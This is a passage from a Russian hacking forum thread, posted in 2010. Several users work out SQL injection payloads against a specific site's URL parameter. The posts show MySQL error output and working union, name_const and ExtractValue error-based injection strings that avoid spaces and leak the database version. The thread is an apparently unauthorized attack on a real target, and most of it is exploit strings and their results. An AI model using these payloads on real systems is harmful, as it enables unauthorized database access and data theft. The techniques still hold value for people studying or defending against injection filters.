Старый 07.12.2010, 22:00   #631
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

BlackFan,

Код:
Invalid SQL: SELECT * FROM site_main WHERE main_id='703'+--+-'
1064: (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
SynQ, а смысл? это тоже самое что и
site.ru/id/703''+--+
SeNaP вне форума   Ответить с цитированием
Старый 07.12.2010, 22:01   #632
}{оттабыч
Banned
 
Регистрация: 08.10.2010
Сообщений: 188
Репутация: 53
По умолчанию

site.ru/id/5' and 0 union select 1,2,3,4,5.... from (select 1 union select 2 union select 3)x where '1'='1
ко-во полей с ошибки + название таблицы есть.
}{оттабыч вне форума   Ответить с цитированием
Старый 07.12.2010, 22:05   #633
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от SeNaP Посмотреть сообщение
BlackFan,

Код:
Invalid SQL: SELECT * FROM site_main WHERE main_id='703'+--+-'
1064: (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
SynQ, а смысл? это тоже самое что и
site.ru/id/703''+--+
У тебя в тексте ошибки плюсы стояли, значит они не заменились на пробелы и вполне возможно, что ошибка из-за этого.

Вобщем очередное гадание на кофейной гуще сейчас идет, потому что вы не хотите выложить скуль)

Последний раз редактировалось BlackFan; 07.12.2010 в 22:09..
BlackFan вне форума   Ответить с цитированием
Старый 07.12.2010, 22:10   #634
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Цитата:
Сообщение от BlackFan Посмотреть сообщение
У тебя в тексте ошибки плюсы стояли, значит они не заменились на пробелы и вполне возможно, что ошибка из-за этого.
Даже если так
id/703'/**/--/**/-
Код:
Invalid SQL: SELECT * FROM site_main WHERE main_id='703''
1064: (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''703''' at line 1)
BlackFan, ссылку скинул в личку
SeNaP вне форума   Ответить с цитированием
Старый 07.12.2010, 22:14   #635
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Цитата:
Сообщение от SeNaP Посмотреть сообщение
Даже если так
id/703'/**/--/**/-
Код:
Invalid SQL: SELECT * FROM site_main WHERE main_id='703''
1064: (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''703''' at line 1)
а вот такой запрос может не пройти, потому что хрен знает как там у тебя из get запроса данные попадают в запрос к базе.

Вполне возможно, что
id/703'/**/--/**/-
обрежется до следующего слэша
BlackFan вне форума   Ответить с цитированием
Старый 07.12.2010, 22:19   #636
aka_zver
 
Аватар для aka_zver
 
Регистрация: 06.07.2010
Сообщений: 63
Репутация: 37
По умолчанию

SeNaP, почему бы не использовать вывод в ошибку, м?
aka_zver вне форума   Ответить с цитированием
Старый 07.12.2010, 22:24   #637
SeNaP
 
Аватар для SeNaP
 
Регистрация: 03.08.2010
Сообщений: 152
Репутация: 10
По умолчанию

Цитата:
Сообщение от aka_zver Посмотреть сообщение
SeNaP, почему бы не использовать вывод в ошибку, м?
Охота разобраться, почему так происходит
SeNaP вне форума   Ответить с цитированием
Старый 07.12.2010, 23:30   #638
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Ох, прикольная задачка получилась из вопроса SeNaP, я помучался, чтобы сделать нормальный вывод...
Начнем с того, что:
1) в запрос данные поступают в urlencode, то есть пробелы представляются, как %20 или + и попадают в запрос и не работают в запросе как пробелы))
Следовательно, мы не можем использовать никакие пробелы.
2) Отброс кавычки
Варианты комментариев:
# отбрасывается
-- тут нужен пробел, которого у нас нет
/* данные, которые попадают в запрос стоят между слешами, (id/[injection]/), значит такой вариант тоже не проходит

Итого: нужно вылезти за пределы кавычки и либо приделать union, либо error-based, без пробелов и обязательно закрыть за собой кавычку.

Идеи:
1) использовать вариант без пробелов, то есть
Код:
/id/5'and(0)union(select(1),(2))
Осталось только закрыть кавычку... Ага, а вот сами попробуйте сформировать такой запрос и закрыть ее, хрен там был

Переходим к error based
2) group by rand сразу отбрасываем, так как между group by у нас должен быть пробельчик)
3) name_const все вроде бы отлично
Код:
SELECT * from table where id='1'and(select(1)union(select(1)from(select(1)from(select(name_const(version(),14)))`x`join(select(name_const(version(),14)))y)z))and'1';
Первая проблема была в алиасе к первой таблице и переходу к join
Она обошлась вот так `x`join. Но из-за этого приходится посылать запрос не через браузер, чтобы ` не заменилось на %60.
А вот select * мы не засунем, потому что такой вариант не попрет select(*).
(вариант с name_const описан неправильно, читай следущие сообщения )

4) И вот вариант, который нас спас
Код:
/id/5'and(ExtractValue(1,concat(0x5c,(version()))))and'
Код:
1105: (XPATH syntax error: '\5.1.41-3ubuntu12.6-log')

PS: возможно, я где-то упустил какой-нибудь момент и можно было сделать намного проще) Но тем не менее вывод получился)

Последний раз редактировалось BlackFan; 08.12.2010 в 00:11..
BlackFan вне форума   Ответить с цитированием
Старый 07.12.2010, 23:45   #639
asddas
 
Аватар для asddas
 
Регистрация: 04.08.2010
Сообщений: 153
Репутация: 161
По умолчанию

а если заюзать двойное урл кодирование? типа %2520
UPD: упс, ошибся, прочитал urlencode как urldecode, не обращайте внимания

Последний раз редактировалось asddas; 07.12.2010 в 23:50..
asddas вне форума   Ответить с цитированием
Старый 08.12.2010, 00:08   #640
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

Протупил в варианте с name_const.
select*from вполне корректно срабатывает, а я в скобки пихал...

еще один рабочий вариант в таких условиях
Код:
'or(1,1)=(select*from(select(name_const(version(), 1)),name_const(version(),1))a)='1
thx to v1d0q

Но лучше пользоваться ExtractValue в связи с особенностями функции name_const на разных версиях mysql (на данной можно вывести только константы)
опять же thx to v1d0q

Последний раз редактировалось BlackFan; 08.12.2010 в 00:31..
BlackFan вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2020, Jelsoft Enterprises Ltd. Перевод: zCarot